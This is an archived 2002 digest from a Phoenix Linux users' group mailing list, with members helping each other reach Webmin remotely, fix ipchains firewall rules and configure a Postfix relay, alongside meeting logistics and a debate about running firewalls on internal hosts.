Tue, 25 Jun 2002 17:01:35 -0700 Subject: test message References: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> Message-ID: <000d01c21ca4$a362a340$0e02a8c0@krycom> Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:07:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:07:27 -0400 Subject: Webmin via Apache Message-ID: I actually installed from the rpm on the web site but I still had to install SSL separately. Works the same either way. If I disable SSL, "http:..." does not work. If I enable SSL, "https:..." does not work. When I say it does not work, I am talking about trying to bring up Webmin in a browser on a different computer so I can admin this one via the network. The localhost login works with or without SSL enabled. Alan On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" wrote: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 17:15:08 -0700 Subject: need a ride Message-ID: <20020626001507.VGJB26656.fed1mtao04.cox.net@there> I don't know if my last message made it to the list. I need a ride to the westside meeting. please call me at 623-849-9515 if you are going there and happen to be near 83rd ave and indianschool road. I need a response PDQ! Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:17:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 17:17:37 -0700 Subject: test message Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E08@azmscorp01.corp.azms> Hello this is the plug mailing list messages to you have been bouncing. If they continue to bounce we will send a probe.... :) -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 5:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: test message Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 11:49:30 -0700 Subject: Webmin via Apache In-Reply-To: <20020625162432.E8770@lilly.csoft.net> References: <20020625162432.E8770@lilly.csoft.net> Message-ID: <200206221149.30253.wokan@cox.net> He's trying to get it to run through Apache instead of having a Perl script sit around waiting for connections. (And the added bonus of running it on port 80 or possibly 443.) On Tuesday 25 June 2002 14:24, Mike wrote: > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > > > v/r > Mike > > On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: > I am sorry for the confusion. All the zeros in the address are just place > holders. The correct address is 192.168.200.6. > > ie. I go to my remote browser and enter the address > "http://192.168.200.6" and I get the default Apache web page, so I know > Apache is working. I enter the address "http://192.168.200.6/webmin" and I > get the 404 error. My question is why do I get the error? > > Alan > > On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > > I think the 0.0.0.0 is to be replaced by your IP address. If it's trying > to link there, then something's configured wrong. > > Alandd@mindspring.com wrote : > > OK, I am setting up a new box as a server and I want to remote > > administer it > > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using > > the URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:49:20 -0400 Subject: ipchains issue (Re: Webmin via Apache) Message-ID: OK, this is looking like a firewall (ie. ipchains) setting issue. I will have to go learn how to do ipchains, and without a GUI since I didn't put it on this box! The output of "ipchains -L" gives: Chain input (policy ACCEPT): target prot opt source destination ports ACCEPT udp ------ 192.168.200.1 anywhere domain -> 1025:65535 ACCEPT tcp -y---- anywhere anywhere any -> http ACCEPT tcp -y---- anywhere anywhere any -> ssh ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT all ------ anywhere anywhere n/a REJECT tcp -y---- anywhere anywhere any -> any REJECT udp ------ anywhere anywhere any -> any Chain forward (policy ACCEPT): Chain output (policy ACCEPT): What line to I need to allow Webmin miniserv.pl to listen for https connections on eth0? Where do I put said line? Mean while, I'll go read the manuals... Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:37:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:37:44 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <200206221237.44674.wokan@cox.net> You may want to check either your ipchains/iptables settings or /etc/hosts.allow. On Tuesday 25 June 2002 17:07, alandd@mindspring.com wrote: > I actually installed from the rpm on the web site but I still had to > install SSL separately. Works the same either way. If I disable SSL, > "http:..." does not work. If I enable SSL, "https:..." does not work. > > When I say it does not work, I am talking about trying to bring up Webmin > in a browser on a different computer so I can admin this one via the > network. The localhost login works with or without SSL enabled. > > Alan > > On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" > wrote: > > If you use the Tar ball from thier website, you'll have to add the ssl > afterwords. thus you still may be http://192.168.xx:10000 > > Original Message: > ----------------- > From: Cap Bateman dbateman@sprintmail.com > Date: 25 Jun 2002 15:04:53 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Webmin via Apache > > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:12:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:12:18 -0700 Subject: Miniserv on eth0 (was: Webmin via Apache) In-Reply-To: References: Message-ID: <1025053938.29276.4.camel@barney.azapple.com> On Tue, 2002-06-25 at 15:01, alandd@mindspring.com wrote: > OK, my question has changed. > > Webmin as a web server, miniserv, that comes with it. It does not seem to be > watching for connections on the ethernet, only the loopback (localhost) > connection. How do I get it to serve pages out the eth0? --- open port in firewall Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:11:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:11:54 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025053915.29276.2.camel@barney.azapple.com> On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:36:36 -0700 Subject: Webmin via Apache In-Reply-To: <1025042698.2269.3.camel@desktop.capnet.lan> References: <1025042698.2269.3.camel@desktop.capnet.lan> Message-ID: <200206221236.36840.wokan@cox.net> Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, from a tarball, or from several other distros, they aren't SSL-enabled. Don't know why Mandrake was the only one to bother with what I would consider a very important option. On Tuesday 25 June 2002 15:04, Cap Bateman wrote: > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:21:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 21:21:37 -0400 Subject: Webmin via Apache Message-ID: Excellent points, Craig. I am now pursuing leaving in on miniserv.pl and port 10000. I think I have an ipchains issue. We shall see what I learn. Alan On 25 Jun 2002 18:11:54 -0700 Craig White wrote: On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:24:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Tue, 25 Jun 2002 18:24:58 -0700 Subject: Meeting TONIGHT References: Message-ID: <3D1917EA.71EF185C@pop.phnx.uswest.net> ...and there was much rejoicing. :-) Thanks much! alandd@mindspring.com wrote: > > Jim will be bringing a box of swag for the west siders to enjoy. We have not > forgotten you. > > Alan > > On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > When: 7:00 p.m. > Where: Glendale Community College High Tech 1 Teleconference Room > Topic: A Post Mortem on the Install Fest > > Be There! > > I hope Steve has access to the Internet and a connection to a projector. > Sure will make the presentation a LOT better ::grin:: > - -- > Jim > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:43:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:43:31 -0700 Subject: ipchains issue (Re: Webmin via Apache) In-Reply-To: References: Message-ID: <1025055811.29731.3.camel@barney.azapple.com> Assuming that this is a single NIC on a server on the internal lan and you have no idea what you want a firewall to be doing on this computer anyway...why don't you just turn it off? service ipchains off chkconfig --levels 2345 ipchains off Otherwise, /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d $EXTIP 10000 replace port & variables as necessary but I have to tell you that what you have in place for ipchains is pretty minimal and you shouldn't feel as though anything is secure on that system because you have an ipchains firewall running on it. Craig On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > to go learn how to do ipchains, and without a GUI since I didn't put it on > this box! > > The output of "ipchains -L" gives: > > Chain input (policy ACCEPT): > target prot opt source destination ports > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > 1025:65535 > ACCEPT tcp -y---- anywhere anywhere any -> > http > ACCEPT tcp -y---- anywhere anywhere any -> > ssh > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT all ------ anywhere anywhere n/a > REJECT tcp -y---- anywhere anywhere any -> > any > REJECT udp ------ anywhere anywhere any -> > any > Chain forward (policy ACCEPT): > Chain output (policy ACCEPT): > > What line to I need to allow Webmin miniserv.pl to listen for https > connections on eth0? Where do I put said line? > > Mean while, I'll go read the manuals... > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:54:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Tue, 25 Jun 2002 18:54:45 -0700 Subject: meeting tonight Message-ID: <5.1.0.14.0.20020625185354.02538e50@localhost> Urgent message for Jim. Please call me at 480-809-2857. Fires at work and cannot make meeting. I will need to get banner and hub from you some how else. Kimi Adams From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:12:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:12:35 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025055811.29731.3.camel@barney.azapple.com> Message-ID: <3D192313.AA168AE9@georgetoft.com> George's $0.02. In the area of running boxes inside a network (LAN) that has a firewall protecting them from the bad Internet, I am at odds with some corporations, who shall remain nameless. I feel every box on the network should be able to stand on its own without the firewall (at least for a few hours). This provides redundancy - if the main firewall fails or is compromised, you have one more layer of protection. Look at it like a bank - do you think they use just one lock to keep the bad guys out? Yes, I practice what I preach - my workstation runs a firewall just as strong as my dedicated hardware firewall. That way, if I goober up the hardware firewall, I'm not left naked with my arse hanging out. So running ipchains on an internal box is not a bad thing - just make sure you know why you are doing it. George Paranoid at Large Craig White wrote: > > Assuming that this is a single NIC on a server on the internal lan and > you have no idea what you want a firewall to be doing on this computer > anyway...why don't you just turn it off? > > service ipchains off > > chkconfig --levels 2345 ipchains off > > Otherwise, > /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d > $EXTIP 10000 > > replace port & variables as necessary but I have to tell you that what > you have in place for ipchains is pretty minimal and you shouldn't feel > as though anything is secure on that system because you have an ipchains > firewall running on it. > > Craig > > On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > > to go learn how to do ipchains, and without a GUI since I didn't put it on > > this box! > > > > The output of "ipchains -L" gives: > > > > Chain input (policy ACCEPT): > > target prot opt source destination ports > > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > > 1025:65535 > > ACCEPT tcp -y---- anywhere anywhere any -> > > http > > ACCEPT tcp -y---- anywhere anywhere any -> > > ssh > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT all ------ anywhere anywhere n/a > > REJECT tcp -y---- anywhere anywhere any -> > > any > > REJECT udp ------ anywhere anywhere any -> > > any > > Chain forward (policy ACCEPT): > > Chain output (policy ACCEPT): > > > > What line to I need to allow Webmin miniserv.pl to listen for https > > connections on eth0? Where do I put said line? > > > > Mean while, I'll go read the manuals... > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:37:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:37:57 -0400 Subject: Doing the Right Thing (revisited) Message-ID: <3D192905.9262FC68@georgetoft.com> While searching for more debarment guidelines, I came across these tidbits: =================================================================== Title 7, Ch. 2 Arizona Administrative Code State Board of Education R7-2-1161. Authority to debar or suspend A. The governing board has the authority to debar or suspend a person from participating in school district procurements. B. The causes for debarment or suspension include the following: 3. Conviction or civil judgment finding a violation by any person or any subsidiary or affiliate of any person under state or federal antitrust statutes. www.mpsaz.org/purchasing/protest.pdf Same as before - Schools may debar anti-trust violators. =================================================================== Same thing for ASU: www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) =================================================================== Same thing for the State: http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment =================================================================== Tom Emerson is right - there is not much originality from one government agency to the next in Arizona - they all pretty much copy the same text and format. Let the letter writing begin!!! George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:42:01 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: <3D192313.AA168AE9@georgetoft.com> References: <1025055811.29731.3.camel@barney.azapple.com> <3D192313.AA168AE9@georgetoft.com> Message-ID: <1025059321.29918.22.camel@barney.azapple.com> On Tue, 2002-06-25 at 19:12, George Toft wrote: > George's $0.02. > > In the area of running boxes inside a network (LAN) that has a firewall > protecting them from the bad Internet, I am at odds with some > corporations, who shall remain nameless. I feel every box on the > network should be able to stand on its own without the firewall (at > least for a few hours). This provides redundancy - if the main firewall > fails or is compromised, you have one more layer of protection. Look at > it like a bank - do you think they use just one lock to keep the bad > guys out? > > Yes, I practice what I preach - my workstation runs a firewall just as > strong as my dedicated hardware firewall. That way, if I goober up the > hardware firewall, I'm not left naked with my arse hanging out. > > So running ipchains on an internal box is not a bad thing - just make > sure you know why you are doing it. ---- thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:36:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:36:10 -0700 Subject: Webmin via Apache In-Reply-To: <200206221236.36840.wokan@cox.net> References: <1025042698.2269.3.camel@desktop.capnet.lan> <200206221236.36840.wokan@cox.net> Message-ID: <1025058970.29918.15.camel@barney.azapple.com> On Sat, 2002-06-22 at 12:36, Digital Wokan wrote: > Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, > from a tarball, or from several other distros, they aren't SSL-enabled. > Don't know why Mandrake was the only one to bother with what I would consider > a very important option. > ---- Redhat doesn't supply webmin at all - period rpm's from webmin's site are noarch/nodistro rpms tarballs are so easy and better for updating...webmin has it's own module to update itself so the rpm's for webmin are for people that have figured out 'rpm -Uvh/ivh webmin-0.99x.noarch.rpm' but 'tar zxvf webmin-0.99x.tar.gz' and then 'cd webmin-0.99x' and then './setup.sh' isn't much more difficult and sets up a new privileged user local to webmin rather than relying on the system root user and system root password. In just about every instance, having a separate user in webmin is better than root. I use webmin - I use redhat - I would never use the rpm's to install webmin. I wouldn't recommend them. As for SSL - download Net::SSLeay.pm-1.05 from webmin's website - takes 2 minutes to unpack and install (on a slow modem). Craig Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 03:37:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 25 Jun 2002 20:37:02 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> <3D189EA7.8010808@esaravana.com> Message-ID: <3D1936DE.B4CDC2D2@earthlink.net> I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 26 Jun 2002 00:32:11 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) Message-ID: My ruleset is the default RedHat 7.3 middle choice. I did puch some holes during the install for SSH and HTTP. However, three things conspired against me: 1. I assumed that HTTPS would come through the HTTP hole and failed to consider the 10000 port Webmin wants. 2. While I can use many things and write programs on Linux, I have never studied firewall configuration. 3. I was setting up a server and I wanted it done quickly so when Webmin didn't talk, I didn't think about the firewall, only the Webmin configuration. I should know about firewall configuration. I now have a reason to learn. =^) However, as we propel Linux forward, we need to help develop tools that don't require the user to know how or even why he needs a firewall. The average Joe just wants to know that his computer is secure because he picked the secure option on his install. And, if he needs to close a port or open a port, he doesn't want to learn ipchains rule syntax or even port numbers, he wants to select an option and be on his merry way. Not an easy task but this is the mindset that company in Redmond has created and our society expects. If we want Linux on every desktop, it has to be made that easy. Anyway, it is an issue for tomorrow. That box is at work, I am at home. My plan is to turn the firewall completely off to prove the Webmin setup works. Then, turn it back on with needed holes (after some studying). One issue at a time gets the bits in a row. Alan On 25 Jun 2002 19:42:01 -0700 Craig White wrote: thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:13:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Wed, 26 Jun 2002 01:13:51 -0400 (EDT) Subject: can't get Postfix for mail relay to work exactly right In-Reply-To: <200206251455.g5PEt3219382@PlugList.MyButt.Net> Message-ID: Howdy. Question for postfix experts. Everyone else can ignore and go on to the interesting stuff... :) Been workin on my little SMTP relay project. I need to set up a server to just relay SMTP mail to and from my Exchange server, and to filter spam. I'm new to this. So far so good. Running postfix on Mandrake. Can anyone help me with this problem, though. I've set up postfix so it will only relay mail from trusted hosts (a few on the internal LAN), and thus connections from untrusted hosts (both those within and without) can only mail to specified domains, namely the ones homed on the Exchange server (call them test1.com and test2.com). Those emails to test?.com are thus always forwarded to the Exchange server, and any untrusted sender can't use the box to relay. Great. But if an untrusted host (in my test situation, an internal box, on the same subnet as postfix) tries to send to both a valid address in a specified domain (e.g. user@test1.com), and an invalid (relay) address (say to billgates@notsohotmail.com, on the cc line), using the postfix box as the smtp server, postfix doesn't deliver the email at all, but just kicks back at the sender with a rejection, because one of the addresses would have been an illegal relay. I figured it would just relay the email to the valid recipient, and reject sending to the other. But no. Can it be set up to do this? Thanks for any help! Scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruner, Andrew) Date: Tue, 25 Jun 2002 14:32:59 -0700 Subject: Red Hat Fedora Message-ID: Does anyone have a Red Hat Fedora for sale? My boss is retiring and we want to get him one. We'd order one from Red Hat but the shipping wouldn't make it here for the party next week. Thanks -Andrew From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:30:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 22:30:00 -0700 Subject: Red Hat Fedora Message-ID: <0206252230000R.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just released a message from someone looking for a Red Hat fedora. Don't worry Thurm - not yours. Red Hat sells them on their web site for $49.95. The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing what you can find on the Internet! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRlRWCsk3ywszI1FEQLEqgCgwyVb8vpo3bY5tBiEUKtHP5m+KmwAoNdm EYtWJuYKlxpvupyVP5/Y71dC =zZFx -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:04:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 22:04:22 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: References: Message-ID: <1025067862.30993.10.camel@barney.azapple.com> On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, 